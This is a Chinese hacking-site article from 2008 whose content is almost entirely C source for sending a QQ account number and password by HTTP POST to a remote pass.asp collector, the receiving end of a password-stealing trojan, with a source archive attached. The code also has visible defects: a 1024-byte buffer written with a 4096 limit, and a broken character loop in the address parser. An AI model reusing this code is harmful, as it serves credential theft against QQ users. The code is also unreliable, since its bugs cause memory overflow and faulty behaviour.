加入收藏 设为首页
博客 友圈 商城
留言 搜索 投搞
首页 | 网络动态 | 技术文章 | 下载中心 | 设计 | 摄影 | 精彩Flash | 摄影作品 | 顶客排行 | 悠乐论坛
>首页 -> 技术文章 -> 黑客安全

TOP

POST提交实现ASP网站收信
[ 录入者:riqukiqpl | 时间:2008-10-09 03:37:40 | 作者: | 来源: | 浏览:54次 ]
简介: /********************************************/ /* POST提交数据/* by xicao from SEU/* post.c */ /********************************************/ #include <stdio.h> #include <stdlib.h> #i..

/********************************************/
/* POST提交数据
/* by xicao from SEU
/* post.c */
/********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32.lib")

int InitSocket();
u_long Name2Inet(char* szAddress);

int main(int argc,char *argv[])
{
char buff[1024];
SOCKET sock;
SOCKADDR_IN addr;
int postlen;
char* url="127.0.0.1";//这个自己修改
if (argc!=3)
{
printf("Error!\n");
return 0;
}
postlen=(strlen(argv[1])+strlen(argv[2])+19);
_snprintf(buff, 4096, "POST http://%s/pass.asp HTTP/1.1\r\n"
// "Accept: */*\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n" //貌似这句不能丢
"Host: %s\r\n"
"Content-Length: %d\r\n" //指post的数据长度
"\r\n"
"QQNumber=%s&PassWord=%s\r\n",
url,
url,
postlen,
argv[1],
argv[2]);

if(!InitSocket())
{
printf("Winsock Initialization failed.\n");
return 0;
}

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("Can not create socket.\n");
return 0;
}

addr.sin_family = AF_INET;
addr.sin_port = htons(80);
addr.sin_addr.s_addr=Name2Inet(url);

if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR)
{
printf("Can not connect to specified host.\n"); return -1;
}

send(sock,buff,strlen(buff),0);

closesocket(sock);

return 0;
}

int InitSocket()
{
#define MAJOR_VERSION 1
#define MINOR_VERSION 2

int nStatus = 0;
WORD wMajorVersion = MAJOR_VERSION;
WORD wMinorVersion = MINOR_VERSION;
WORD wVersionReqd = MAKEWORD(wMajorVersion, wMinorVersion);
WSADATA lpmyWSAData;
nStatus =WSAStartup(wVersionReqd, &lpmyWSAData);
if(nStatus != 0)
{
return 0;
}
return 1;
}

u_long Name2Inet(char* szAddress)
{
int name=0;
int i=0;

if(szAddress==NULL||strlen(szAddress)<1)
{
return htonl(INADDR_ANY);
}

for (i=0;szAddress;i++)
{
if((!isdigit(szAddress))&&szAddress!='.')
{
name=1;break;
}
}
//不是计算机名,是IP
if(!name)
return inet_addr(szAddress);
//是计算机名
else
{
struct hostent*host=gethostbyname(szAddress);

if(host==NULL)
{
return htonl(INADDR_ANY);
}
return *(long*)host->h_addr;
}
}


附件

src.rar (17.99 KB)
0
】【打印繁体】【投稿】【收藏】 【推荐】【举报】 【关闭】 【返回顶部
[上一篇]PHP二分法注射猜解 [下一篇]利用Hosts文件避免误入恶意网站的..

评论

称  呼:
验 证 码:
内  容:

相关栏目

最新文章

热门文章

推荐文章

相关文章

广告位